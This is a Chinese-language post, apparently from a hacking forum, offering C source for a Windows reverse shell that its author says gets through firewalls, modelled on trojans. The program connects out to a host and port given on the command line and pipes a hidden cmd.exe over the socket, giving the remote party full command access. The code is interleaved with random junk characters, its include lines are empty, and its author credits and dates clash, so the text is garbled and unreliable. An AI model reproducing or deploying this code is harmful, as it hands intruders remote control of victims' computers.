Windows下端口反弹

这是一个Windows下的小程序，可以穿透防火墙反弹连接，当然这是最简单的！看到网络上反弹木马到处都是，心一热就有了这个了（代码很垃圾的）。 Y|tHU'x  
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/* ============================== Mq> 4!  
Rebound port in Windows NT b31$i 5{  
By wind,2006/7 w.m8SvS&b  
===============================*/ .<m]j;|6  
#include _}R$h=YD  
#include )qxt<  
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#pragma comment(lib,"wsock32.lib") H{}&|;0  
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void OutputShell(); rNN>tpZ}  
SOCKET sClient; MzvhE0ab  
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; C*Q7@+&  
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void main(int argc,char **argv) 4=,J@N-  
{ "VaWZ*  
WSADATA stWsaData; =4_}.  
int nRet; FvsVfV U  
SOCKADDR_IN stSaiClient,stSaiServer; TEV DES  
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if(argc != 3) y [Vd*8  
{ dk&F?B{6T  
printf("Useage:\n\rRebound DestIP DestPort\n"); cK$yr)7  
return; Fs]N9],=I  
} alJ0gc
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WSAStartup(MAKEWORD(2,2),&stWsaData); fN2Sio:  
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); /d&m#%9Up]  
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stSaiClient.sin_family = AF_INET; P-X|qVNK1Z  
stSaiClient.sin_port = htons(0); I9kz)Q o  
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); {a[BhK'g  
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if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) 'n|U   
{ 6J;!p/C8E  
printf("Bind Socket Failed!\n"); D`XXR}8V  
return; ;@;aeu  
} wUvE  
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stSaiServer.sin_family = AF_INET; n@pwOHQn<|  
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); ed'[_T}T3t  
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); c]pz&  
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) "%T~d[
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{ W^<AUT  
printf("Connect Error!"); U5"u h} 3  
return; "kApGNB  
} 8u*<GbKGI  
OutputShell(); z83v J*.  
} a?gF;AYk  
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void OutputShell() !*l/Pr^8  
{ }Y-V!z5z!  
char szBuff[1024]; s#7"ZN  
SECURITY_ATTRIBUTES stSecurityAttributes; #IH9S5B [  
OSVERSIONINFO stOsversionInfo; ~W@dF~r  
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; OP!R
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STARTUPINFO stStartupInfo;
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char *szShell; *<\`"C;  
PROCESS_INFORMATION stProcessInformation; 89d%P J0  
unsigned long lBytesRead; xh;gAh5n  
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); jI,[(Z>  
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); &S="]
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stSecurityAttributes.lpSecurityDescriptor = 0; _qB ._  
stSecurityAttributes.bInheritHandle = TRUE; ZvyZ5UA  
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CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); 'bbw0aB4  
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); bg~CV&]M  
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ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); 8R)K$J$Hm  
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; 2D!jVr!  
stStartupInfo.wShowWindow = SW_HIDE; 1XiA  
stStartupInfo.hStdInput = hReadPipe; 6vNW)1{nn  
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; (H:c80/V  
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GetVersionEx(&stOsversionInfo); AYf}=t|  
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switch(stOsversionInfo.dwPlatformId) |>}CoR7  
{ ztU"CRa8  
case 1: qX}3}TL  
szShell = "command.com"; bB4FjC':  
break; 2>jk@~Z1:u  
default: 6zM:p/  
szShell = "cmd.exe"; :[@rA;L  
break; /J^dzvH  
} 23CvfP  
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CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); aH;AGbp   
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send(sClient,szMsg,77,0); huqtk4u  
while(1) A^}#  
{ ql9n`?Q  
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); ~Jf(M^E  
if(lBytesRead) /BgXY}JC.  
{ 6EC',=)6R  
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); TJYhgna  
send(sClient,szBuff,lBytesRead,0); OK4r)  
} ,LZA\XC  
else u'? +JUd1  
{ E$lbm>jsb$  
lBytesRead=recv(sClient,szBuff,1024,0); '7oR|I  
if(lBytesRead<=0) break; l4DBGZB  
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); q=^;lWs4  
} qBF|' .$^  
} 9ug4p']  
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return; iq3)}hGo  
}